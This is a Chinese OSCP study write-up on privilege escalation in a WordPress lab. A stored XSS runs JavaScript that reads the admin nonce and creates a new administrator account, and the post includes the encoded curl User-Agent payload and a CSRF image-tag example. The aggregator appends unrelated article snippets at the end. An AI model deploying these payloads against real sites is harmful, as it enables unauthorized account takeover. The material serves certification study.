3-12〔OSCP ? 研記〕? WEB應用攻擊?利用XSS提權

??? ??鄭重聲明:?本文所有安全知識與技術,僅用于探討、研究及學習,嚴禁用于違反國家法律法規的非法活動。對于因不當使用相關內容造成的任何損失或法律責任,本人不承擔任何責任。 如需轉載,請注明出處且不得用于商業盈利。?

? ? 💥👉點贊?? 關注🔔 收藏?? 評論💬💥?
? ? 更多文章戳👉
Whoami!-CSDN博客🚀

??????


𖤐?嘿,經過前面的預熱,我們正式打開這扇門,來吧 !?

𖤐 𝓗𝓮𝔂,?𝓪𝓯𝓽𝓮𝓻 𝔀𝓪𝓻𝓶-𝓾𝓹,𝔀𝓮'𝓻𝓮 𝓷𝓸𝔀?𝓸𝓯𝓯𝓲𝓬𝓲𝓪𝓵𝓵𝔂 𝓸𝓹𝓮𝓷𝓲𝓷𝓰 𝓽𝓱𝓲𝓼 𝓭𝓸𝓸𝓻,𝓒𝓸𝓶𝓮 𝓸𝓷?!?


→ 信息收集

→ 漏洞檢測

→ 初始立足點

→?權限提升??WEB應用攻擊?利用XSS提權-----我們在這兒~?🔥🔥🔥

→ 橫向移動

→ 報告/分析

→ 教訓/修復??


目錄

1.跨站腳本攻擊(XSS)

1.1?通過XSS進行權限提升

1.1.1 偵查目標Cookie的安全標志

1.1.1.1?Cookie基礎知識

1.1.1.2 偵查目標Cookie的安全標志

1.1.2 替代提權思路:重新注冊管理員賬號

1.1.2.1 攻擊思路分析

1.注冊流程分析

2.攻擊步驟規劃

1.1.2.2 獲取WordPress的Nonce(一次性令牌)

1.關于Nonce和CSRF攻擊的概念

2.構建代碼---獲取Nonce

1.1.2.3 構建代碼---創建新管理員用戶

1.1.2.4 JavaScript代碼合并、壓縮和編碼

1.合并、壓縮代碼

2.代碼編碼為UTF-16

1.1.2.5?發送XSS payload

1.1.2.6?在Burp重放檢查

1.1.2.7 驗證是否成功新建管理員

1. 檢查XSS注入存儲情況

2. 權限提升驗證

💥創作不易💥求一波暴擊👉點贊?? 關注🔔 收藏?? 評論💬


1.跨站腳本攻擊(XSS)

? ? ? ? 跨站腳本攻擊(XSS)是一種利用網站對用戶信任的安全漏洞,攻擊者通過注入惡意腳本(如:JavaScript)到網頁中,當其他用戶訪問時執行這些腳本。曾經被認為是低風險漏洞,如今XSS已成為高風險且普遍的安全威脅。
? ? ? ??XSS漏洞根源在于數據清理不足:即Web應用程序未能正確處理用戶輸入,未刪除或轉換危險字符和字符串,導致攻擊者能夠注入并執行惡意代碼。


1.1?通過XSS進行權限提升

在前面的攻擊中,已經成功在目標WordPress應用程序中存儲、并成功存儲了惡意JavaScript代碼(<script>alert(42)</script>)。當管理員用戶訪問包含此代碼的頁面(如start.php)時,代碼將被執行。現在,我們需要利用這一位置的執行能力實現權限提升:獲取管理員權限

1.1.1 偵查目標Cookie的安全標志

1.1.1.1?Cookie基礎知識

Cookie基礎知識

  • 🍪?Cookie的作用:http協議是無狀態的,因此網站使用Cookie來跟蹤用戶狀態和信息

  • ???安全風險:獲取已認證用戶的Cookie可冒充該用戶進行操作

  • 🛡??安全標志:Cookie可使用幾個可選標志設置,其中以下兩個安全標準尤為重要:

    • Secure標志:僅在HTTPS加密連接中傳輸Cookie,這樣可以保護cookie不被以明文形式發送和在網絡上被捕獲。

    • HttpOnly標志:阻止JavaScript訪問Cookie內容,如果未設置此標志,可以使用XSS的payload來竊取cookie。

形象化比喻:

將會話Cookie比作商店的"會員卡":

  • 普通Cookie:像紙質會員卡,可隨時查看修改

  • HttpOnly Cookie:像密封的電子會員卡,只能由收銀員(服務器)讀取,顧客(JavaScript)無法查看內容

為此,通過瀏覽器開發者工具分析WordPress的Cookie的標志:

📌?結論:有些會話Cookie沒啟用HttpOnly和Secure,可通過JavaScript直接竊取該會話Cookie。


1.1.1.2 偵查目標Cookie的安全標志

首先,以admin用戶身份登錄,驗證WordPress會話cookie的性質。然后,打開Web開發者工具,導航到Storage選項卡,然后在左側的Cookies菜單下點擊http://offsecwp。

分析上圖:

  • Cookie 現狀:瀏覽器共存儲 6 個 Cookie,其中4個為會話 Cookie;排除測試用的wordpress_test_cookie后,剩余有效會話Cookie均支持HttpOnly字段。
  • HttpOnly 特性:支持 HttpOnly 的會話 Cookie 僅能通過 HTTP 請求自動發送給服務器,由服務器識別以驗證登錄用戶,無法被 JavaScript 檢索。
  • 安全結論:當前無法通過 JavaScript 利用 XSS 漏洞獲取 Cookie,需尋找其他攻擊方法。

1.1.2 替代提權思路:重新注冊管理員賬號

既然無法直接竊取管理員Cookie,我們轉向創建新的管理員賬戶來實現權限提升。

📊 攻擊路徑對比

攻擊方法可行性難度所需條件
Cookie竊取? 不可行無HttpOnly標志的Cookie
創建管理員賬戶? 可行獲取有效的nonce值
1.1.2.1 攻擊思路分析
1.注冊流程分析

WordPress管理員賬戶注冊需要以下:

  • ? 用戶名(可自定義)

  • ? 密碼(可自定義)

  • ? 郵箱地址(可自定義)

  • 🔑?Nonce(一次性數字):關鍵安全令牌,防止CSRF攻擊(需要獲取!一旦獲取就直接可注冊新管理員,實現提權。)

🔑提示:如何知道注冊所需這些字段,在注冊頁面多研究即可知道。

2.攻擊步驟規劃
  • 使用XSS payload竊取當前管理員的nonce

  • 利用獲取的nonce自動注冊新管理員賬戶

  • 使用新創建的管理員賬戶登錄系統


1.1.2.2 獲取WordPress的Nonce(一次性令牌)
1.關于Nonce和CSRF攻擊的概念

什么是Nonce?

  • 🔑?Nonce(Number Used Once):服務器生成的一次性令牌(隨機生成的字符串)

  • 🛡??安全作用:增加請求隨機性,防止跨站請求偽造(CSRF)攻擊

  • 📍?存在位置:包含在WordPress的每個管理請求中

為什么需要獲取Nonce?

  • 🔐?權限驗證:WordPress使用nonce驗證管理操作的合法性

  • 🚫?防御繞過:沒有有效nonce無法執行管理員操作

  • 👨?💻?攻擊前提:創建新管理員賬戶必須提供有效nonce

Nonce安全特性

  • ???時效性:nonce具有時間敏感性,會過期失效

  • 🔢?唯一性:每個用戶會話的nonce值不同

  • 🎲?隨機性:無法預測的隨機字符串

🎯 什么是CSRF攻擊?

CSRF(Cross-Site Request Forgery)攻擊是一種利用用戶已認證狀態進行的攻擊

CSRF攻擊示例:

<!-- 惡意網站上的隱藏代碼 -->
<img src="http://realbank.com/transfer?amount=1000&to=ATTACKER_ACCOUNT" width="0" height="0" border="0">
  • <img src="http://realbank.com/transfer?amount=1000&to=ATTACKER_ACCOUNT"> 這是一個普通的 HTML img 標簽,它包含了一個指向 realbank.com 的請求URL。
    ? ??這個 URL 看起來像是一個銀行轉賬請求:
    ? ? ??amount=1000?:表示轉賬金額為1000
    ? ? ??to=ATTACKER_ACCOUNT?:表示轉賬目標是一個攻擊者賬戶。

    當瀏覽器加載這個圖片時,會向 realbank.com 發送一個GET請求,并且URL中帶有參數,可能會導致用戶賬戶無意中進行轉賬。

  • width="0" height="0" border="0": 這些屬性將圖片的顯示尺寸設置為 0x0,即該圖片是不可見的(或者幾乎不可見),不會在網頁中顯示出來。攻擊者利用這種方式發送請求時,用戶是看不見的,但該請求仍會被發送到目標服務器。

CSRF攻擊場景:

  • 攻擊者創建了一個網頁或電子郵件,包含了上述代碼。
  • 當受害者登錄到一個銀行網站或其他具有認證的服務時,攻擊者誘使受害者訪問該網頁(比如點擊一個鏈接或查看一個圖片)。
  • 因為受害者已經登錄了銀行賬戶,瀏覽器會自動附帶用戶的認證信息(如cookies),所以這個請求會成功執行。
  • 該請求會在受害者的賬戶上執行一個不必要的操作,例如:轉賬到攻擊者的賬戶。

CSRF攻擊條件與防護:

攻擊條件防護措施
? 用戶已登錄目標網站🔒 使用CSRF Token(Nonce)---

也就是本文注冊管理員賬號時所需獲取的Token。

每次發起請求時需帶上這個Token,服務端驗證Token是否有效。如果請求中缺少或錯誤的Token,服務端就拒絕該請求。

? 會話Cookie有效🔍 驗證請求來源(Referer/Origin頭),確保請求是從合法的銀行網站發起的。
? 用戶訪問惡意內容📱 敏感操作重新認證(比如轉賬時),要求用戶重新確認身份(例如,輸入密碼、短信驗證碼等)。
2.構建代碼---獲取Nonce

該函數通過同步的HTTP請求,向WordPress后臺/wp-admin/user-new.php頁面發送GET請求,然后從返回的HTML中根據正則表達式nonceRegex在HTTP響應中獲取到nonce值。

function getNonce() {var nonceRegex = /"nonce":"([a-f0-9]+)"/;var request = new XMLHttpRequest();// 同步請求(false)管理員頁面request.open('GET', '/wp-admin/user-new.php', false);   request.send();// 從響應中提取nonceif (request.status === 200) {var match = nonceRegex.exec(request.responseText);if (match && match[1]) {return match[1]; // 返回獲取的nonce值}}return null; // 獲取失敗返回null
}var nonce = getNonce();    // 調用getNonce函數獲取nonce值

以上函數體摘出并簡化如下:

代碼段1:同步獲取nonce

var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];

函數執行流程:


1.1.2.3 構建代碼---創建新管理員用戶

成功獲取WordPress的nonce后,攻擊者可以構造JavaScript函數創建具有管理員權限的新用戶賬戶,完成權限提升。

構建用戶創建代碼:

function createAdminUser(nonce) {var params = "action=createuser" +"&_wpnonce_create-user=" + nonce +"&user_login=attacker" +"&email=attacker@offsec.com" +"&pass1=attackerpass" +"&pass2=attackerpass" +"&role=administrator";var ajaxRequest = new XMLHttpRequest();ajaxRequest.open("POST", "/wp-admin/user-new.php", true);ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajaxRequest.setRequestHeader("Content-Length", params.length);ajaxRequest.send(params);
}

函數詳細說明:

  • 函數定義

    function createAdminUser(nonce)?定義了一個接收?nonce?參數的函數,nonce?是用于驗證請求合法性的安全令牌(通常從之前的?getNonce()?函數獲取)。

  • 構建請求參數

    params?變量拼接了創建用戶所需的表單數據,包含:

    • action=createuser:指定操作類型為 “創建用戶”
    • _wpnonce_create-user=:攜帶安全驗證令牌?nonce(防止 CSRF 攻擊)
    • 用戶信息:用戶名(user_login=attacker)、郵箱(email=attacker@offsec.com)、密碼(pass1=attackerpass?和?pass2=attackerpass,兩次輸入需一致)
    • 角色權限:role=administrator(將新用戶設置為管理員權限)
  • 配置并發送 POST 請求

    • 創建?XMLHttpRequest?對象用于發起請求
    • 以 POST 方式請求 WordPress 后臺的 “新建用戶” 頁面(/wp-admin/user-new.php),true?表示異步請求
    • 設置請求頭:Content-Type?為表單數據格式,Content-Length?為參數長度
    • 通過?request.send(params)?發送構建好的表單數據

以上函數體摘出并簡化如下:

代碼段2:異步新建管理員賬戶

var params = "action=createuser&_wpnonce_createuser="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=
attackerpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

1.1.2.4 JavaScript代碼合并、壓縮和編碼

由于最終使用curl命令推送Post請求,為了確保我們的JavaScript代碼有效payload能夠被Burp和目標應用程序正確處理,需要先對其進行合并、壓縮,然后進行編碼為UTF-16

1.合并、壓縮代碼

將上述兩端代碼(獲取nonce、注冊新管理員賬戶)壓縮成一行,可以轉到JS Compress(https://jscompress.com/),然后點擊“compress JavaScript”后,復制輸出的一行代碼并將其保存在本地。

2.代碼編碼為UTF-16

我們將對壓縮后的JavaScript代碼進行編碼,以避免一些特殊字符被瀏覽器或防火墻攔截。使用以下函數來實現:

encode_to_javascript函數將解析縮小的JS字符串參數,并使用charCodeAt()方法將每個字符轉換為相應的UTF-16整數代碼。

以上JavaScript函數,可以在瀏覽器的控制臺中運行。


1.1.2.5?發送XSS payload

構建好XSS payload的UTF-16代碼后,使用curl命令發送請求。

在運行curl攻擊命令之前,啟動Burp并保持攔截狀態。

Burp Suite配置步驟:

  • 啟動Burp Suite并確保代理運行在127.0.0.1:8080

  • 開啟攔截功能(Intercept On)

  • 配置瀏覽器使用Burp作為代理(如未系統級設置)

使用cURL發送XSS payload:

curl -i http://offsecwp \
--user-agent "<script>eval(String.fromCharCode(...))</script>" \
--proxy 127.0.0.1:8080
參數作用說明
-i顯示完整響應包含HTTP頭和響應體
--user-agent設置惡意載荷注入點,注入XSS攻擊代碼執行
--proxy指定代理服務器通過Burp Suite路由流量
eval()

JavaScript的內建函數,它將傳入的

字符串作為JavaScript代碼執行

執行代碼用

String.fromCharCode()?

JavaScript的一個方法,它接受一組Unicode字符碼,并將它們轉換為一個字符串,用來解碼字符串

將剛剛編碼的代碼進行解碼

curl命令的完整內容如下:


1.1.2.6?在Burp重放檢查

運行curl命令后,我們可以在Burp中檢查請求。

檢查后正確,點擊轉發來“Forward”請求,然后禁用攔截。


1.1.2.7 驗證是否成功新建管理員

?? 可能的響應結果:

?成功響應 (HTTP 200):?表示新管理員賬戶已成功創建。

這時,攻擊者能夠控制這個新賬戶。(!得到管理員權限了)

{"success": true,"data": {"user_id": 15,"username": "attacker","role": "administrator"}
}

?若失敗,失敗響應及原因:

錯誤類型原因解決方案
??Invalid nonceNonce值無效或過期重新獲取最新nonce
??Permission denied當前會話權限不足等待管理員訪問
??User exists用戶名或郵箱已存在修改用戶名/郵箱

現在我們在頁面上驗證是否新建管理員:

1. 檢查XSS注入存儲情況

管理員身份登錄OffSec WP實例后,訪問visitors插件儀表板

檢查項目觀察結果意義分析
🔍?數據庫條目數量僅有一個條目表明請求已被記錄
📝?用戶代理字段顯示(上圖紅框)無文本內容顯示瀏覽器無法渲染<script>標簽內容
??XSS執行證據成功新建管理員腳本已在后臺執行
2. 權限提升驗證

通過左側窗格的"Users"菜單檢查用戶列表:

可以看到已經成功添加剛剛新建的attacker的管理員賬號。我們通過一個特制的HTTP請求,利用XSS漏洞成功將應用程序權限從標準用戶提升為管理員

用戶賬號角色權限狀態
administrator管理員原有賬戶
attacker管理員新創建的攻擊賬戶

💥創作不易💥求一波暴擊👉點贊?? 關注🔔 收藏?? 評論💬

您的支持是我創作最大的動力!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/97012.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/97012.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/97012.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

AI 大模型賦能智慧礦山:從政策到落地的全棧解決方案

礦山行業作為能源與工業原料的核心供給端&#xff0c;長期面臨 “安全生產壓力大、人工效率低、技術落地難” 等痛點。隨著 AI 大模型與工業互聯網技術的深度融合&#xff0c;智慧礦山已從 “政策引導” 邁入 “規模化落地” 階段。本文基于 AI 大模型智慧礦山行業解決方案&…

Node.js 項目依賴包管理

h5打開以查看 一、核心理念&#xff1a;從“能用就行”到“精細化管理” 一個規范的依賴管理體系的目標是&#xff1a; 可復現&#xff1a;在任何機器、任何時間都能安裝完全一致的依賴&#xff0c;保證構建結果一致。 清晰可控&#xff1a;明確知道每個依賴為何存在&#x…

洛谷P1835素數密度 詳解

題目如下&#xff1a;這里面有部分代碼比較有意思&#xff1a;1&#xff0c;為何開始先遍歷&#xff0c;最終值小于50000&#xff1f;因為題目要求的右邊與左邊差小于 10^6 &#xff0c;所以最多有10^3個素數&#xff0c;所以保存里面的素數數量大于1000&#xff0c;而50000的化…

突破限制:FileCodeBox遠程文件分享新體驗

文章目錄【視頻教程】1.Docker部署2.簡單使用演示3. 安裝cpolar內網穿透4. 配置公網地址5. 配置固定公網地址在隱私日益重要的今天&#xff0c;FileCodeBox與cpolar的協同為文件傳輸提供了安全高效的解決方案。通過消除公網IP限制和隱私顧慮&#xff0c;讓每個人都能掌控自己的…

以太網鏈路聚合實驗

一、實驗目的掌握使用手動模式配置鏈路聚合的方法掌握使用靜態 LACP 模式配置鏈路聚合的方法掌握控制靜態 LACP 模式下活動鏈路的方法掌握靜態 LACP 的部分特性的配置二、實驗環境安裝有eNSP模擬器的PC一臺&#xff0c;要求PC能聯網。三、實驗拓撲LSW1與LSW2均為S3700交換機。L…

autMan安裝教程

一、安裝命令 如果你系統沒安裝docker&#xff0c;請看往期教程 以下為通用命令 docker run -d --name autman --restart always -p 8080:8080 -p 8081:8081 -v /root/autman:/autMan --log-opt max-size10m --log-opt max-file3 hdbjlizhe/autman:latest解釋一下以上命令&…

【無人機】自檢arming參數調整選項

檢查項目 (英文名)中文含義檢查內容四旋翼建議 (新手 → 老手)理由說明All所有檢查啟用下面所有的檢查項目。? 強烈建議勾選這是最安全的設置&#xff0c;確保所有關鍵系統正常。Barometer氣壓計檢查氣壓計是否健康、數據是否穩定。? 必須勾選用于定高模式&#xff0c;數據異…

數字圖像處理(1)OpenCV C++ Opencv Python顯示圖像和視頻

Open CV C顯示圖像#include <iostream> #include <opencv2/opencv.hpp> using namespace cv;//包含cv命名空間 int main() {//imread(path)&#xff1a;從給定路徑讀取一張圖片&#xff0c;儲存為Mat變量對象Mat img imread("images/love.jpg");//named…

【芯片設計-信號完整性 SI 學習 1.2.2 -- 時序裕量(Margin)】

文章目錄1. 什么是時序裕量&#xff08;Margin&#xff09;1. 背景&#xff1a;為什么需要數字接口時序分析2. 時鐘周期方程3. Setup 裕量 (tMARGIN_SETUP)4. Hold 裕量 (tMARGIN_HOLD)5. 設計注意事項6. 實際應用場景2. 時序裕量的來源3. 測試方法(1) 眼圖測試 (Eye Diagram)(…

AOP 切面日志詳細

在業務方法上打注解package com.lib.service;Service public class BookService {LogExecution(description "查詢圖書")public Book query(int id) {return repo.findById(id);}LogExecution(description "借閱圖書")public void borrow(int id) {// 模…

使用paddlepaddle-Gpu庫時的一個小bug!

起初安裝的是 paddlepaddle 2.6.1版本。 用的是Taskflow的快速分詞以及ner快速識別&#xff1a;???????seg_accurate Taskflow("word_segmentation", mode"fast") ner Taskflow("ner", mode"fast")但是使用不了Gpu。想使用Gp…

量子能量泵:一種基于并聯電池與電容陣的動態直接升壓架構

量子能量泵&#xff1a;一種基于并聯電池與電容陣的動態直接升壓架構 摘要 本文提出了一種革命性的高效電源解決方案&#xff0c;通過創新性地采用并聯電池組與串聯高壓電容陣相結合的架構&#xff0c;徹底解決了低電壓、大功率應用中的升壓效率瓶頸與電池一致性難題。該方案摒…

【Linux網絡】網絡基礎概念——帶你打開網絡的大門

1. 計算機網絡背景 文章目錄1. 計算機網絡背景網絡發展2. 初識協議2.1 協議分層軟件分層的好處2.2 OSI七層模型2.3 TCP/IP五層(或四層)模型網絡發展 獨立模式 獨立模式是計算機網絡發展的最初階段&#xff0c;主要特點如下&#xff1a; 單機工作環境&#xff1a; 每臺計算機完…

簡單介紹一下Clickhouse及其引擎

一、ClickHouse 的優缺點一、ClickHouse 的優點 ? 1. 極致的查詢性能 列式存儲&#xff1a;只讀取查詢涉及的列&#xff0c;大幅減少 IO。數據壓縮&#xff1a;常見壓縮率 5~10 倍&#xff0c;減少存儲和帶寬消耗。向量化執行&#xff1a;按批次&#xff08;block&#xff09;…

【卷積神經網絡詳解與實例】8——經典CNN之VGG

1 開發背景 VGGNet是牛津大學視覺幾何組(Visual Geometry Group)提出的模型&#xff0c;該模型在2014ImageNet圖像分類與定位挑戰賽 ILSVRC-2014中取得在分類任務第二&#xff0c;定位任務第一的優異成績。其核心貢獻在于系統性地探索了網絡深度對性能的影響&#xff0c;并證明…

【分享】中小學教材課本 PDF 資源獲取指南

很多人都不知道&#xff0c;其實官方提供的中小學教材課本 PDF 文檔是完全免費且正版的&#xff0c;無需使用掃描版&#xff0c;清晰度和質量都非常高。 這些資源就藏在國家中小學智慧教育平臺&#xff08;basic.smartedu.cn&#xff09;上。這個平臺涵蓋了從小學到高中的各個…

js趣味游戲 貪吃蛇

以下是關于JavaScript趣味游戲的系統性整理&#xff0c;涵蓋經典案例、開發工具、教程資源及創意方向&#xff0c;助您快速掌握JS游戲開發的核心邏輯&#xff1a;一、經典JS趣味游戲案例貪吃蛇&#xff08;Snake Game&#xff09;核心機制&#xff1a;鍵盤控制蛇的移動方向&…

【Redis#11】Redis 在 C++ 客戶端下的安裝使用流程(一條龍服務)

一、安裝使用 --Ubuntu 下啟用 1. 前置依賴 - hiredis hiredis 是一個用 C 語言實現的 Redis 客戶端庫&#xff0c;redis-plus-plus 庫基于 hiredis 實現。在開始之前&#xff0c;請確保已安裝 libhiredis-dev&#xff0c;可以通過以下命令安裝&#xff1a; sudo apt install l…

kibana+elasticsearch console查詢示例

kibana console查詢入口如下 http://localhost:5601/app/dev_tools#/console/shell 1 整體查詢 獲取index為newbook的所有數據 GET newbook/_search 2 通用查詢 獲取index為newbook的數據中&#xff0c;bookname包含“西游”的所有數據。 GET newbook/_search { "query&q…

軟考系統架構設計師之軟件風格篇

一、軟件架構風格-數據流風格 數據-》第1步處理-》數據-》第2步處理-》數據-》第N步處理 【分步處理】 優點&#xff1a; 1、松耦合【高內聚-低耦合】 2、良好的重用性/可維護性; 3、可擴展性【標準接口適配】 4、良好的隱蔽性; 5、支持并行。 缺點 1、交互性較差; 2、復雜性較…